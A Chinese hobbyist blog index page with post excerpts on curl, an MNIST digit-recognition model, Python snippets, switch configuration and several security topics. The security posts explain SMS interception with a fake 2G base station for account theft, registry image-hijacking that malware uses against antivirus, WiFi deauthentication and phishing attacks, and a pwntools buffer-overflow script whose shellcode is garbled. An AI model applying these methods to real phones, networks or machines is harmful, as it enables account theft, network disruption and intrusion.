手语手语是由于聋人交际的需要而产生的,它已作为聋人的一种语言,逐渐为人们所接受。手语包括手指语和手势语。手指语是用手指的指式变化和动作代表字母,并按照拼音顺序依次拼出词语;在远古时代,全人类都处在简单的有声语言阶段,常常用手做各种姿势来表示意思,这样的手势大多数是指示性和形象性的动作,叫作自然手势。值得学习聆听他们的心声 √手语教程https://www.bilibili.com/video/BV1LW411s7gR
2022年09月15日
76 阅读
0 评论
3 点赞
2022-09-15
【每日随记】Curl 基本使用
curl基本使用curl是一个能够模拟网络请求的工具,通过终端命令行的方式使用,功能非常强大,命令行参数多达几十种完全可以取代Postman。参数大全-A 添加user-agent -e 伪造referer -H 请求头 -d POST内容 -X 请求协议 -o -O 远程下载 // -o 把输出写到该文件 -O 把输出写到文件中, 保留远程文件名 -c -b 添加cookie -C 断点续载 -f 抓取错误 -# 显示下载进度条 -x 设置代理 -T 上传文件 -s 静默不输出任何信息 --limit-rate 限制下载速度 --max-filesize 指定下载的最大文件大小 -k 参数指定跳过 SSL 检测 -v 查看详情 -s 不输出错误和进度信息获取网页源码 [GET请求]curl www.baidu.com下载网络文件# 下载远程文件 ## curl -o 本地路径/文件名 远程url curl -o .\a.html www.baidu.com 指定请求方式# post请求方式 curl -X post http://www.baidu.com/api # get请求方式 curl -X get http://www.baidu.com/api # 提交json参数 # @获取data.json里的数据 curl http://www.baidu.com/api -X POST -d @data.json --header "Content-Type: application/json" # 直接带参提交 curl http://www.baidu.com/api -X POST -H "Content-Type:application/json" -H "XXX:XXXX" -H "" -d '{"XXXX":"XXX","pageNum":1,"pageSize":20}'添加cookiecurl -c cookiec.txt http://www.linux.com携带用户/密码curl -u 用户名:密码 baidu.com/login进行重定向curl -L http://www.google.com批量下载# [1-99] 循环下载图片 curl -C -O https://abc.xyz/[1-99].png # {a,b,c} 遍历abc三个元素 curl https://{a,b,c}.com/index.html # 结果 https://a.com/index.html https://b.com/index.html https://c.com/index.html请求方式# get curl -v 192.168.33.1:8080/girls/age/18 # post curl -v 192.168.33.1:8080/girls -d 'age=14&cupSize=C' curl -v -X POST 192.168.33.1:8080/girls -d 'age=14&cupSize=C' # put curl -v -X PUT -d "age=19&cupSize=C" 192.168.33.1:8080/girls/3 # delete curl -v -X DELETE 192.168.33.1:8080/girls/3
2022年09月15日
48 阅读
0 评论
3 点赞
2022-09-13
【技术分享】Python3 文字识别模型训练
简介Torch 是一种常用的深度学习框架,可以用于训练各种类型的神经网络模型,包括文字识别模型,文字识别模型是一种能够自动识别图像中的文字并将其转换成可编辑文本的模型,在训练模型之前,准备好一组包含大量图像和相应标签的数据集,Torch 中提供的工具和函数,可以构建、训练和测试一个文字识别模型,在模型训练完成后,可以将其用于对新的图像进行文字识别,并输出识别结果。训练代码import cv2 import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision from torchvision import datasets, transforms import matplotlib.pyplot as plt # 默认显示512张图片 BATCH_SIZE = 512 # 默认训练批次20次 EPOCHS = 20 # 默认使用cpu加速 DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu") # 构建数据转换列表 tsfrm = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.1037,), (0.3081,)) ]) # 由于官方已经实现dataset,直接使用DataLoader来获取数据 # MNIST数据集包含6万张28x28的训练样本,1万张测试样本 # 下载训练集 train_loader = torch.utils.data.DataLoader( datasets.MNIST(root = 'data', train = True, download = True, transform = tsfrm), batch_size = BATCH_SIZE, shuffle = True) # 下载测试集 test_loader = torch.utils.data.DataLoader( datasets.MNIST(root = 'data', train = False, download = True, transform = tsfrm), batch_size = BATCH_SIZE, shuffle = True) # 展示训练样本图片 # 使用torchvision.utils中的make_grid类方法将一个批次的图片构造成网格模式 def imshow(images): img = torchvision.utils.make_grid(images) npimg = img.numpy() plt.imshow(np.transpose(npimg,(1,2,0))) plt.show() # 从训练集中拿出一批图像 # 用iter和next函数来获取取一个批次的图片数据和其对应的图片标签 images,labels = next(iter(train_loader)) imshow(images) print(labels) # 定义一个LeNet-5网络,包含两个卷积层conv1和conv2,两个线性层作为输出,最后输出10个维度 # 这10个维度作为0-9的标识来确定识别出的是哪个数字。 class ConvNet(nn.Module): def __init__(self): super().__init__() # 1*1*28*28 # 1个输入图片通道,10个输出通道,5x5卷积核 self.conv1 = nn.Conv2d(1, 10, 5) self.conv2 = nn.Conv2d(10, 20, 3) # 全连接层、输出层softmax,10个维度 self.fc1 = nn.Linear(20 * 10 * 10, 500) self.fc2 = nn.Linear(500, 10) # 正向传播 def forward(self, x): in_size = x.size(0) out = self.conv1(x) # 1* 10 * 24 *24 out = F.relu(out) out = F.max_pool2d(out, 2, 2) # 1* 10 * 12 * 12 out = self.conv2(out) # 1* 20 * 10 * 10 out = F.relu(out) out = out.view(in_size, -1) # 1 * 2000 out = self.fc1(out) # 1 * 500 out = F.relu(out) out = self.fc2(out) # 1 * 10 out = F.log_softmax(out, dim=1) return out # 生成模型 model = ConvNet().to(DEVICE) print(model) # 构建优化器optimizer,包含一个可进行迭代优化的、包含所有参数的列表 # model.parameters()表示优化的参数,lr表示学习率 optimizer = optim.Adam(model.parameters(),lr=0.0001) # 定义训练函数 def train(model, device, train_loader, optimizer, epoch): model.train() for batch_idx, (data, target) in enumerate(train_loader): # 输入样本和标签 data, target = data.to(device), target.to(device) # 每次训练梯度清零 optimizer.zero_grad() # 正向传播、反向传播和优化过程 output = model(data) loss = F.nll_loss(output, target) loss.backward() optimizer.step() # 打印训练情况 if (batch_idx + 1) % 30 == 0: print('Train Epoch: {} [{}/{} ({:.0f}%)]\tLoss: {:.6f}'.format( epoch, batch_idx * len(data), len(train_loader.dataset), 100. * batch_idx / len(train_loader), loss.item())) # 定义验证函数 def test(model, device, test_loader): model.eval() test_loss = 0 correct = 0 with torch.no_grad(): for data, target in test_loader: # 输入样本和标签 data, target = data.to(device), target.to(device) output = model(data) # 将一批的损失相加 test_loss += F.nll_loss(output, target, reduction='sum') # 找到概率最大的下标 pred = output.max(1, keepdim=True)[1] correct += pred.eq(target.view_as(pred)).sum().item() test_loss /= len(test_loader.dataset) # 打印验证情况 print("\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%) \n".format( test_loss, correct, len(test_loader.dataset), 100. * correct / len(test_loader.dataset) )) # 开始训练模型 for epoch in range(1, EPOCHS + 1): train(model, DEVICE, train_loader, optimizer, epoch) test(model, DEVICE, test_loader) # 保存模型 torch.save(model.state_dict(), "./MNISTModel.pkl")识别代码import cv2 import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision from torchvision import datasets, transforms # 默认预测四张含有数字的图片 BATCH_SIZE = 4 # 默认使用cpu加速 DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu") # 构建数据转换列表 tsfrm = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.1037,), (0.3081,)) ]) # 测试集 test_loader = torch.utils.data.DataLoader( datasets.MNIST(root='data', train=False, download=True, transform=tsfrm), batch_size=BATCH_SIZE, shuffle=True) # 定义图片可视化函数 def imshow(images): img = torchvision.utils.make_grid(images) img = img.numpy().transpose(1, 2, 0) std = [0.5, 0.5, 0.5] mean = [0.5, 0.5, 0.5] img = img * std + mean # 将图片高和宽分别赋值给x1,y1 x1, y1 = img.shape[0:2] # 图片放大到原来的5倍,输出尺寸格式为(宽,高) enlarge_img = cv2.resize(img, (int(y1*5), int(x1*5))) cv2.imshow('image', enlarge_img) cv2.waitKey(0) # 定义一个LeNet-5网络,包含两个卷积层conv1和conv2,两个线性层作为输出,最后输出10个维度 # 这10个维度作为0-9的标识来确定识别出的是哪个数字。 class ConvNet(nn.Module): def __init__(self): super().__init__() # 1*1*28*28 # 1个输入图片通道,10个输出通道,5x5卷积核 self.conv1 = nn.Conv2d(1, 10, 5) self.conv2 = nn.Conv2d(10, 20, 3) # 全连接层、输出层softmax,10个维度 self.fc1 = nn.Linear(20 * 10 * 10, 500) self.fc2 = nn.Linear(500, 10) # 正向传播 def forward(self, x): in_size = x.size(0) out = self.conv1(x) # 1* 10 * 24 *24 out = F.relu(out) out = F.max_pool2d(out, 2, 2) # 1* 10 * 12 * 12 out = self.conv2(out) # 1* 20 * 10 * 10 out = F.relu(out) out = out.view(in_size, -1) # 1 * 2000 out = self.fc1(out) # 1 * 500 out = F.relu(out) out = self.fc2(out) # 1 * 10 out = F.log_softmax(out, dim=1) return out # 主程序入口 if __name__ == "__main__": model_eval = ConvNet() # 加载训练模型 model_eval.load_state_dict(torch.load( './MNISTModel.pkl', map_location=DEVICE)) model_eval.eval() # 从测试集里面拿出几张图片 images, labels = next(iter(test_loader)) inputs = images.to(DEVICE) # 输出 outputs = model_eval(inputs) # 找到概率最大的下标 _, preds = torch.max(outputs, 1) # 打印预测结果 numlist = [] for i in range(len(preds)): label = preds.numpy()[i] numlist.append(label) List = ' '.join(repr(s) for s in numlist) print('当前预测的数字为: ', List) # 显示图片 imshow(images)识别效果
2022年09月13日
35 阅读
1 评论
5 点赞
2022-09-11
【技术分享】Python3 代码笔记
Python3自由落体import time def BallFalling(): width,height = 800,600 # 窗口宽度 g, vy = 0.3, 0 # 小球重力加速 x = width // 2 # 小球x坐标除2位于窗口中 y = height // 2 # 小球y坐标除2位于窗口中间 radius = 20 # 小球半径 while True: vy = vy + g # 重力加速 y = y + vy # 根据速度更新y坐标 if y <= radius: vy = -vy if y >= height - radius: vy = -vy print(y) time.sleep(0.01) BallFalling()凯撒加解密def caesar_encrypt(text, shift): # 加密 res = '' for i in text: res += chr((ord(i) + shift - 97) % 26 + 97) return res def caesar_decrypt(text, shift): # 解密 res = '' for i in text: res += chr((ord(i) - shift - 97) % 26 + 97) return res text = "hello" # 明文 shift = 500 # 偏移 encrypted_text = caesar_encrypt(text, shift) print(encrypted_text) decrypted_text = caesar_decrypt(encrypted_text, shift) print(decrypted_text)日期差计算from datetime import datetime, timedelta start_date = datetime(2021, 10, 3) end_date = datetime(2023, 2, 6) difference = end_date - start_date years = difference.days // 365 months = (difference.days % 365) // 30 days = (difference.days % 365) % 30 print("{} years, {} months, and {} days".format(years, months, days))RSA私钥生成算法import gmpy2 e = 17 p = 473398607161 q = 4511491 d = gmpy2.invert(e,(p-1)*(q-1)) print(d)RSA解密算法1import gmpy2 p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483 q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407 e = 65537 c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034 n = p * q phi_n = (p-1)*(q-1) d = gmpy2.invert(e, phi_n) m = gmpy2.powmod(c, d, n) print(m)RSA解密算法2import gmpy2 from Crypto.Util.number import long_to_bytes p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852 I = gmpy2.invert(q,p) m1 = gmpy2.powmod(c,dp,p) m2 = gmpy2.powmod(c,dq,q) m = (((m1-m2)*I)%p)*q+m2 print(long_to_bytes(m))文件异或f = open("misc.png",'rb') with open('flag.png','wb') as nfile: for b in f.read(): # 遍历二进制 # 这里的b是int形式,要转换成bytes时,使用bytes(),且里面的内容需要加[] nfile.write(bytes([b^0x50])) f.close().rdata区段搜索import pefile PEpath = r'xxx.exe' PEdata = pefile.PE(PEpath) rdata = None for section in PEdata.sections: if section.Name.decode().strip('\x00') == '.rdata': rdata = section break if rdata is None: print('.rdata区段未找到') else: # 计算数据在文件中的偏移量和长度 data_offset = rdata.PointerToRawData data_size = rdata.SizeOfRawData # 将数据读入内存 pe_file = open(PEpath, 'rb') pe_file.seek(data_offset) data = pe_file.read(data_size) pe_file.close() # 找到特定的字符串 needle = b'173' index = data.find(needle) if index != -1: # 如果找到了该字符串,输出该字符串及其后面的一些内容 print('Found at offset', data_offset + index) print(data[index:index+20].decode('utf-8'))获取IAT表import pefile PEpath = r'xxx.exe' # 打开PE文件 pe = pefile.PE(PEpath) # 获取IAT表 iat = pe.DIRECTORY_ENTRY_IMPORT # 遍历每个导入表 for entry in iat: # 打印DLL名称和导入函数名称和地址 for imp in entry.imports: if imp.name: print(entry.dll.decode(), imp.name.decode(), hex(imp.address)) else: print(entry.dll.decode(), hex(imp.address))获取导出表import pefile def list_imports(pe): """列出导入表中的模块和函数名称。""" if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'): print("导入表:") for entry in pe.DIRECTORY_ENTRY_IMPORT: print(f"模块: {entry.dll.decode('utf-8')}") for imp in entry.imports: if imp.name: print(f" 函数: {imp.name.decode('utf-8')}") else: print(f" 函数: <序号 {imp.ordinal}>") else: print("没有找到导入表。") def list_exports(pe): """列出导出表中的函数名称。""" if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): print("\n导出表:") for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: if exp.name: print(f"函数: {exp.name.decode('utf-8')}") else: print(f"函数: <序号 {exp.ordinal}>") else: print("没有找到导出表。") def main(file_path): try: pe = pefile.PE(file_path) list_imports(pe) list_exports(pe) except FileNotFoundError: print(f"文件未找到: {file_path}") except pefile.PEFormatError: print(f"文件格式错误: {file_path}") if __name__ == "__main__": file_path = "xxx.dll" main(file_path)获取程序反汇编import pefile import capstone # 读取PE文件 PEpath = r'xxx.exe' pe = pefile.PE(PEpath) # 遍历节表,查找.text节 for section in pe.sections: if ".text" in str(section.Name): # 获取节的内容 data = section.get_data() # 初始化Capstone引擎 md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32) # 反汇编节的内容并输出到控制台 for i in md.disasm(data, 0): print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))判断程序位数import pefile pe = pefile.PE('xxx.exe') if pe.FILE_HEADER.Machine == 0x014c: print('程序为32位') elif pe.FILE_HEADER.Machine == 0x8664: print('程序为64位') else: print('程序不是32位也不是64位')Pwn Shellcodefrom pwn import * context(arch='i386', os='linux') # 远程主机地址和端口 host = 'example.com' port = 1234 # 恶意代码,这里使用了一个简单的反弹shellcode shellcode = asm(''' push esp pop eax xor ebx, ebx xor ecx, ecx xor edx, edx mov bl, 0x6 mov ecx, eax mov dl, 0x4 int 0x80 xor ebx, ebx mov bl, 0x1 int 0x80 ''') # 构造缓冲区溢出的payload # 这里的偏移量需要根据实际情况进行计算 offset = 0x20 payload = b'A' * offset + p32(0xdeadbeef) # 连接远程主机并发送payload io = remote(host, port) io.send(payload) # 等待程序崩溃并输出栈地址 io.recvuntil('Unhandled exception at address ') stack_addr = int(io.recv(10), 16) # 计算栈的偏移量并构造新的payload # 这里的偏移量需要根据实际情况进行计算 stack_offset = 0x100 payload = b'A' * offset + p32(stack_addr + stack_offset) + shellcode # 发送新的payload,触发远程代码执行 io.send(payload) # 进入交互模式,可以手动执行其他命令 io.interactive()装饰器import time def contdown(func): # 定义装饰器函数 contdown def wrapper(*args, **kwargs): start_time = time.perf_counter() result = func(*args, **kwargs) end_time = time.perf_counter() return f"{end_time - start_time}" # 将执行时间返回为字符串。 return wrapper @contdown # 用装饰器语法 @contdown def go(): time.sleep(1) print(go()) # 调用被装饰函数go类继承class Animal: def __init__(self, name): self.name = name def speak(self): pass class Dog(Animal): def speak(self): return "Woof" class Cat(Animal): def speak(self): return "Meow" dog = Dog("Fido") cat = Cat("Fluffy") print(dog.name + " says " + dog.speak()) print(cat.name + " says " + cat.speak()) # 输出: # Fido says Woof # Fluffy says Meow 静态方法class Person: def __init__(self, name, age) -> None: self.name = name self.age = age def greet(self): print( f"Hello, my name is {self.name}, my age is {self.age} years old.") @classmethod def create(cls, name, age): return cls(name, age) person1 = Person("anda", 60) person1.greet() person2 = Person.create("alice", 50) person2.greet() # 输出: # Hello, my name is anda, my age is 60 years old. # Hello, my name is alice, my age is 50 years old.代码技巧def func(x: int, y: int): print(f'x:{x}, y:{y}') pose = [1,2] func(*pose) # 元组传参 # 输出: # x:1, y:2 from itertools import permutations l = ['a', 'b', 'c'] p = permutations(l, r=2) # 输出列表所有可能的排列 print(list(p)) # 输出: # [('a', 'b'), ('a', 'c'), ('b', 'a'), ('b', 'c'), ('c', 'a'), ('c', 'b')] def func(name:str, age: int): # 定义初始变量类型 return f'{name} age is {age} years old.' age : int = 20 name: str = "lance" # 代码变量类型更清楚,去除Python解释器判断变量类型。 print(func(name, age)) # 输出: # lance age is 20 years old.
2022年09月11日
120 阅读
0 评论
9 点赞
2022-09-11
【每日随记】伪基站短信劫持原理
简介有一个灰产项目叫 "短信嗅探",危害较大,这项技术可以追溯到2014年,在黑客圈内出现过,那个时候交流的比较少,会的人也不多直到2018年8月1号 一篇文章的出现,"这下我一无所有了",内容讲述了楼主一夜之间,手机收到了100多条短信内容是、支付宝、京东、银行、密码被修改,里面的钱全部被转走了,还借了一万多,而到了2019年全国各地仍发生同样的案件。实现原理使用了短信嗅探,伪基站设备实际上,只是一台C118摩托罗拉手机,一台设备只能在一个基站范围内嗅探,C118伪基站嗅探的范围只有几百米,还有一个弊端只能劫持2G信号中接收短信的手机。为什么只能2G而不是4G呢?原因很简单2G这项技术是开源的,并且在传输的过程中数据并没有经过加密的处理,C118作为伪基站会干扰附近的运营商信号,接着搜索附件范围内所有处于2G信号内的手机主动提出握手。有个弊端手机必须2G才可以进行嗅探,这不完全碰运气吗,肯定还没完有种叫降频的工具,这个工具可以使一个范围内手机全部掉到2G网络,但不是信号屏蔽器。这样就实现了短信嗅探,到了最后肯定会想,都有4G了为什么还要有2G的存在,这里不好做解释,但我想它的存在肯定是有它用处的。利用盗号已经能获取到短信验证码了,盗号什么的任何操作都可以进行操作,利用社工库对目标进行搜索,暴露出的身份证姓名可以辅助更多,获取到手机号进行操作,当然到如今的互联网发展有的需要人脸识别,这只是小部分软件需要,对于盗个号什么的不需要人脸识别。制作过程https://holmesian.org/GSM-SMS-Sniffing
2022年09月11日
273 阅读
0 评论
33 点赞
2022-09-10
此内容被密码保护
加密文章,请前往内页查看详情
2022年09月10日
771 阅读
0 评论
62 点赞
2022-09-07
【网络通信】eNSP技能考核作业
试题编号:J1-1:交换机设备安装与调试1.A公司网络规划如下图所示,要求内网各部门要有业务分割,又能相互访问。请配置好相关设备并调试通畅,公司网络IP地址分配如下:配置信息VLAN规划 VLAN编号部门员工数子网号网关地址子网掩码VLAN10财务部52192.168.1.0192.168.1.62255.255.255.192VLAN20市场部48192.168.1.64192.168.1.126255.255.255.192VLAN30行政部32192.168.1.128192.168.1.190255.255.255.192VLAN40研发部16192.168.1.192192.168.1.254255.255.255.192管理VLAN VLAN编号网络地址子网掩码VLAN1192.168.2.1255.255.255.192PC编号IP地址子网掩码PC1192.168.1.1255.255.255.192PC2192.168.1.65255.255.255.192PC3192.168.1.129255.255.255.192PC4192.168.1.193255.255.255.192任务一:网络设备互联(10分)①选择合适的网络互联设备进行组网,根据考场实际情况使用真实设备或者使用模拟器完成。(4分)②选择合适的连接线缆,用于连接网络设备。(3分)③根据需要,把网线连接到各网络设备接口上,注意:交换机S1的1与交换机S2的1口相连,交换机S1的2口与交换机S3的2口相连,交换机S2的3口与交换机S3的3口相连。(3分)第二部分:交换机基本配置(30分)任务二:交换机基本配置(30分)①交换机S1配置主机名为S1,交换机S2配置主机名为S2,交换机S3配置主机名为S3。(6分)②在交换机S1上配置CONSOLE口登录口令为class,进入系统视图口令为huawei。(6分)③在交换机S1上配置管理IP,并开启SSH远程登陆功能:域cisco.com、用户名Admin和密码abcde、密钥长度1024、SSH版本2。(12分)④在交换机S1上使用适当的标语文本警告未经授权的访问。以下是示例文本:Authorized access only.Violators will be prosecuted to the full extent of the law.(3分)⑤保存到目前为止的配置信息,防止掉电丢失。(3分)第三部分:交换机功能配置(45分)任务三:划分vlan(26分)①根据需求,在交换机S1上划分vlan,创建vlan10,vlan20,vlan30,vlan40。(4分)②根据需求,在交换机S2上划分vlan,创建vlan10,vlan20,vlan30,vlan40。(4分)③根据需求,在交换机S3上划分vlan,创建vlan10,vlan20,vlan30,vlan40。(4分)④在交换机S2上把F0/11-15放到vlan10,F0/16-20放到vlan20。(4分)⑤在交换机S3上把F0/11-15放到vlan30,F0/16-20放到vlan40。(4分)⑥交换机S1的F0/1、F0/2与交换机S2的F0/1、F0/3设置为trunk。(4分)⑦把交换机S3的F0/2、F0/3设置为trunk。(2分)任务四:配置生成树(9分)①将交换机S1配置为根网桥。(9分)任务五:不同vlan之间的通信(10分)①在交换机S1中开启路由功能,同时给每个SVI接口配置IP地址,作为对应VLAN的网关地址。(10分)拓扑图搭建PC1 连接S1交换机 配置Console登录密码<tianzhihua_s1>system-view // 进入系统视图 [tianzhihua_s1]user-interface console 0 // 配置console口 [tianzhihua_s1-ui-console0]set authentication password cipher class // 设置密码为class超级密码<tianzhihua_s1>system-view [Huawei]super password cipher huawei进入交换机三种方案console // 终端口 vty // 都走这两种协议 telnet、ssh web // 网页控制
2022年09月07日
207 阅读
0 评论
11 点赞
2022-08-22
【每日随记】反编译易语言模块
简介有的时候需要二次开发模块,又没有模块源码,就很难对模块添加一些功能,这个时候需要反编译成源码就可以了,这里有一款工具专门用来反编译易语言模块。反编译1.很简单通过这个工具就能轻松反变成成源码。2.直接点击反编译模块就出来源码了。3.进入源码可以发现里面的代码是怎么写的了,也可以二次修改。{cloud title="EC反编译工具" type="bd" url="https://pan.baidu.com/s/1xfSgCExXMhUT8ubanUdzUg?pwd=2085" password=""/}
2022年08月22日
109 阅读
0 评论
3 点赞
2022-08-22
【每日随记】注册表镜像劫持实验
简介镜像劫持是指在针对杀毒软件方面,OSO病毒采用了一种新技术,效果是为了类似文件关联,通过这种技术也能够将杀毒软件置于死地,所谓的镜像劫持,就是在注册表的 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options] 处新建一个以杀毒软件主程序命名的项,例如Rav.exe,然后再创建一个子键 "Debugger="C:\WINDOWS\system32\drivers\"",以后只要用户双击 Rav.exe就会运行OSO的病毒文件,类似文件关联的效果。简单的来说,在注册表做了镜像劫持,点击任何程序都会跳到你想要被执行的程序上,当然也可以用来阻止的程序运行。实验步骤1.首先Ctrl + R在运行窗口输入,regedit这个命令打开注册表。HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options2.在注册表按以上路径找到,Image File Execution Options 这一项。3.然后在 Image File Execution Options 项中右键,新建一个项 名字要填你劫持软件的名字,如 xxx.exe。4.这里我拿这个软件做演示,没改之前是可以运行的,注册表只创建了要劫持的程序名称,并不会劫持的而是要在里面创建一个名为 debugger 字符串值。5.现在创建好了字符串值,数值数据随便填,保存再运行程序发现找不到文件了,这样就实现了阻止程序运行的效果。6.这里我写了一个提示程序,运行效果就是提示劫持成功,现在去注册表替换下 debugger 里的内容,改成被指定要运行的程序路径。7.替换好后,再保存运行 云班刷.exe 时,就会发现运行的是 test.exe 程序的提示。
2022年08月22日
106 阅读
0 评论
6 点赞
2022-08-20
【每日随记】esp8266 WIFI攻击
简介ESP8266是基于arduino开发的单片机,专为移动设备、可穿戴电子产品和物联应用设计,并与其他几项专利技术一起使机器实现最低能耗。为满足移动设备和可穿戴性电子产品的功率需求,ESP8266在近距离时可以通过软件编程减少PA 的输出功率来降低整体功耗,以适应不同的应用方案。它可应用于智能电源插头,家庭自动化,网状网络,工业无线控制,婴儿监控器,网络摄像机,传感器网络,可穿戴电子产品,无线位置感知设备,安全ID标签,无线定位系统信号等方面。理解为能刷入代码做你想要操作的事情就行。deautherdeauther是 github 的一个开源项目,用来测试802.11标准中的常见漏洞。802.11 WiFi协议包含了一个Deauthentication特性,其作用就是为了将用户从网络中分离。攻击者可随时使用无线AP的伪造源地址,向发射站发送一个Deauthentication 攻击数据包。该协议不需要对Deauthentication 攻击框架进行加密,甚至是建立会话。该漏洞在802.11w-2009中有提议解决,但几乎所有厂商在默认情况下都将其设置为禁用状态。攻击原理esp8266刷入的固件,攻击方式分为3种:Deauth、Beacon、Probe-responseDeauth因为WIFI管理数据帧没有被加密,导致攻击者可以伪造管理帧,从而让攻击者可以任意发送 "取消认证" 数据包来强行切断AP与客户端的连接(说白点就是无脑洪水堵塞攻击,一直切断对方设备与机器的连接,从而导致对方设备无法正常连接)"可取消受害者连接的WIFI",有缺陷只能在2.4G频段进行攻击,5G频段无效。Beacon信标帧(Beacon)数据包用于宣告接入点,通过不断发送信标帧数据包(说白点就是创建许多新的wifi干扰对方的正常连接),由于目前部分设备自带SSID检测,所以我们使用随机生成SSID以达到目的。"创建很多个WIFI干扰受害者连接"robe-response探测请求帧由用户设备发送,以询问一个已知网络是否在附近。通过请求您在SSID列表中指定的网络,以此来混淆WiFi跟踪器。(说白点就是手机给已知WiFi网络发送一个probe-request帧,可提供网络服务的接入点将响应一个probe-response帧,你的手机将会跟这个响应接入点进行连接,所以看起来跟Deauth攻击差不多)。钓鱼攻击首先利用Deauth攻击使对方网络断开,然后伪造wifi使受害者连接假冒wifi,受害者会自动通过跳转浏览器,显示钓鱼页面,如你的wifi出现故障请输入wifi密码进行修复的话,实现然后监听流量,获取原真实wifi密码。{dplayer src="https://www.52tt.pro/usr/uploads/2022/01/fish.mp4"/}物理断网(不属于WIFI)买一根网线用剪刀随便剪掉一头的水晶头,露出线一头有水晶头的线插入交换机,另一头自己用手捏住线等一会,这样就会引起广播风暴。个人总结出的还有几种办法、arp断网欺骗、ensp模拟器、其它的就不多说了。
2022年08月20日
248 阅读
0 评论
20 点赞
1
...
7
8
9
...
14
0:00